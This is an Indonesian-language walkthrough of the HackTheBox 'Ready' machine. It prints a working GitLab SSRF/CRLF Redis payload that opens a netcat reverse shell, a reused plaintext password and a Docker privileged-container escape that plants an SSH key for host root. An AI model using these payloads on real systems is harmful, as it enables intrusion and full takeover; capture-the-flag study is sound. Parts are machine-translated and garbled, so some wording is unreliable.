SSRF & CRLF Attacks

Intro

HackThebox Ready Adalah Box Dengan Tingkat Kesulitan Medium , Tingkat Mechine Matrix Lebih Mengarah CVE , Application Yang Retan Di Mesin Tersebut Adalah GITLAB , Skills learned : SSRF & CRLF Attacks , Docker Escape. Skills required : Basic Web Enumeration , Basic knowledge of Linux , Basic knowledge of Docker

Ready adalah mesin Linux tingkat kesulitan menengah. Versi server GitLab yang rentan mengarah ke remote eksekusi perintah, dengan memanfaatkan kombinasi kerentanan SSRF dan CRLF. Izin buruk pada file konfigurasi yang dicadangkan dari server Gitlab, mengungkapkan kata sandi yang ternyata dapat digunakan kembali untuk root pengguna, di dalam container buruh pelabuhan. Setelah akses root diperoleh, keluar dari penampung dimungkinkan sejak itu itu berjalan dalam mode istimewa.

CTF:

• Real Life

• CVE

• Enumeration

Alat Alat Hacking :

• Nmap

• lsblk

• curl

• redis-cli

• ssh

Enumeration

Open Port :

nmap -sV -sC 10.10.10.220 -oA nmap/read

Hasil Scan Menggunakan Nmap Menunjukan Bahwa SSH , Dan Server Nginx Gitlab pada port 5080 Tersedia Di Default mereka

Kita dapat mendaftarkan akun di Github Dengan membuka bagian Register dan mengisi kolom

Setelah mendaftar, itu akan mengarahkan kita ke halaman selamat datang.

Menavigasi ke Proyek -> Jelajahi proyek -> Beralih ke "Semua" -> Dude/Ready-Channel mengungkapkan kode sumber CMS Drupal. Di kanan atas halaman web, kami dapat menemukan tautan Help, yang menunjukkan versi Gitlab

Foothold

Versi Gitlab Adalah 11.4.7. Mencari kerentanan secara online di Gitlab 11.4.7, mungkin ditemukan bahwa versi ini memiliki banyak kerentanan.

Ada beberapa kerentanan untuk Gitlab, tetapi kami Akan fokus pada Cara Untuk mengeksploitasi kombinasi kerentanan SSRF (CVE-2018-19571) dan CRLF (CVE-2018-19585). Menurut Rilis Keamanan GitLab, kedua kerentanan terjadi di versi Gitlab ini. Kerentanan SSRF ada pada versi khusus Redis. Kami akan memicu SSRF melalui mengimpor repositori baru dengan URL. Pertama kami membuat proyek baru

Kami memiliki alat sendawa yang telah dibuka, dan dikonfigurasi sehingga browser web kami dapat meneruskan lalu lintas ke port 8080 di mana Burp mendengarkan. Kami memilih Impor proyek dan kemudian Repo dengan URL seperti yang ditunjukkan pada gambar berikut.

Kami menempatkan beberapa nilai acak di bidang yang diperlukan, dan kemudian kami mengirimkan permintaan. Kami menetapkan kolom Gitrepository URL, Nama proyek dan siput Proyek untuk diuji dan pilih Buat proyek

Setelah permintaan ditangkap, kami mengirimkannya ke tab pengulang atau menggunakan alat curl

Seperti yang ditunjukkan oleh tambalan, karena kerentanan CSRF, kita dapat melewati ini menggunakan versi IPv6.

Protokol komunikasi Redis memungkinkan untuk mengirim data dalam ascii. Artinya, kami dapat mengirim HTTP POSTrequest ini langsung ke server Redis. Untuk melakukannya, kita harus menambahkan port tempat Redis berjalan. Ini adalah laporan 6379. Selanjutnya, kita akan menambahkan muatan yang ditemukan sebelumnya di repositori GitHub.

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":
[\"class_eval\",\"open(\'| nc 10.10.14.3 4444 -e
/bin/bash\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc564117
3e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
exec
exec

Agar ini berfungsi, kami juga mengubah protokol http: // menjadi git: //, di awal URL. Akhirnya kami mengubah nama proyek dan jalur proyek untuk membuat yang baru. Bentuk akhir dari permintaan POST akan terlihat sebagai berikut.

Catatan: Anda harus mengganti authenticity_token dengan yang sekarang, lalu lakukan hal yang sama untuk parameter namespace_id (terletak hampir di akhir permintaan POST), dan ubah IP di payload, dengan yang lokal.

utf8=%E2%9C%93&authenticity_token=5pZx%2BJP2zd3cVS6E3P0H2gfjZg3qtuvcQnXkhw0V7ePuYk7B5k4%2Bm7PSGrGs1FdRPsLLs3zSgq1c5Eb2JHlCpQ%3D%3D&project%5Bimport_url%5D=git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test multi

sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| nc 10.10.14.3 4444 -e/bin/bash\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
exec
exec
&project%5Bci_cd_only%5D=false&project%5Bname%5D=test1&project%5Bnamespace_id%5D=4&project%5Bpath%5D=test1&project%5Bdescription%5D=&project%5Bvisibility_level%5D=

Setelah kami menyusun permintaan, kami membuka pendengar secara lokal dan mengirim permintaan.

nc-lvp444

Jika gagal karena alasan apa pun, kami masih dapat mengubah nama dan jalur proyek di akhir permintaan POST, dari test1 ke test2 dan coba lagi. Setelah kita mendapatkan shell, kita bisa menelurkan shell PTY menggunakan perintah berikut.

python3 -c'import pty; pty.spawn("/bin/bash")

Di awal permintaan yang kami kirim ke Redis, ada instruksi POST yang mendefinisikan metode HTTPrequest. Instruksi POST juga merupakan perintah Redis. Oleh karena itu Redis akan mengeksekusinya, dan melanjutkan ke payload. Berikut adalah contoh output, ketika instruksi Redis acak tidak valid dan instruksi valid diberikan

Pada contoh di atas, kita dapat melihat bagaimana tanggapan Redis dalam instruksi yang berbeda. Ketika tes instruksi acak yang tidak valid diberikan, Redis akan merespons dengan kesalahan ERR perintah yang tidak diketahui 'test'. Ketika instruksi yang valid seperti GET atau POST diberikan, maka kesalahan hanya akan menunjukkan struktur perintah yang benar. Dalam kasus kami, permintaan dimulai dengan instruksi GET, yang akan dieksekusi oleh Redis. Tepat setelah perintah GET, Redis akan mengeksekusi payload yang memulai reverse shell kembali ke mesin lokal kita. Kerentanan CRLF memungkinkan untuk menambahkan baris baru ke permintaan, jika tidak, kami tidak akan dapat menambahkan pembayaran setelah instruksi GET. Ini akan mengakibatkan Redis menjalankan Host: 10.10.10.98:5080 tepat setelah instruksiGET dan keluar dengan kesalahan, karena ini adalah instruksi Redis yang salah. Menambahkan baris baru diperlukan untuk meletakkan muatan kami tepat sebelum Host: 10.10.10.98:5080 dan tepat setelah instruksi GET dari permintaan HTTP. Bendera pengguna terletak di /home/dude/user.txt.

Lateral Movement

Pencacahan direktori /opt mengungkapkan direktori /opt /backup

Cadangan file gitlab.rb ditemukan mengandung kredensial. File ini digunakan oleh Gitlab dan berisi konfigurasi sehingga pengguna dengan hak istimewa rendah seharusnya tidak memiliki akses membaca pada file ini.

cat /opt/backup/gitlab.rb | grep password

Mari kita periksa apakah kata sandi wW59U!ZKMbG9+*#h dapat digunakan kembali untuk root pengguna.

su root

Privilege Escalation

Dengan menjalankan perintah berikut, dimungkinkan untuk memeriksa apakah kita berada di dalam container docker atau tidak. Jika ya, maka beberapa grup kontrol akan menjadi milik buruh pelabuhan.

cat /proc/1/cgroup

Privilege Escalation Dengan menjalankan perintah berikut, dimungkinkan untuk memeriksa apakah kita berada di dalam container docker atau tidak. Jika ya, maka beberapa grup kontrol akan menjadi milik buruh pelabuhan. Selanjutnya dengan meninjau file /opt/backup/docker-compose.yml, kita dapat mengamati bahwa kontainer berjalan dengan bendera istimewa: true.

cat /opt/backup/docker-compose.yml

Ketika kontainer buruh pelabuhan berjalan dalam mode privileged dan akses root diperoleh, keluar dari kontainer kemudian dimungkinkan. Kami mencoba untuk memasang direktori / dari host, di dalam kontainer buruh pelabuhan. Tetapi pertama-tama, kita perlu menjalankan perintah berikut, untuk mendapatkan nama partisi yang akan kita pasang.

lsblk

Mari kita coba me-mount partisi sda2 ke direktori / mnt.

mount /dev/sda2 /mnt -o loop6
ls-l /mnt

Direktori / berhasil dipasang. Kami membuat kunci SSH untuk root pengguna host.

ssh-keygen -f /mnt/root/.ssh/id_rsa -P""
cp /mnt/root/.ssh/id_rsa.pub /mnt/root/.ssh/authorized_keys
cat /mnt/root/.ssh/id_rsa

Kami menyimpan kunci dalam file secara lokal dan menamainya id_rsa dan memberikan izin yang sesuai.

chmod400 id_rsa

Akhirnya kami menjalankan perintah berikut untuk terhubung.

ssh-i id_rsa [email protected]

The root flag is located in /root/root.txt.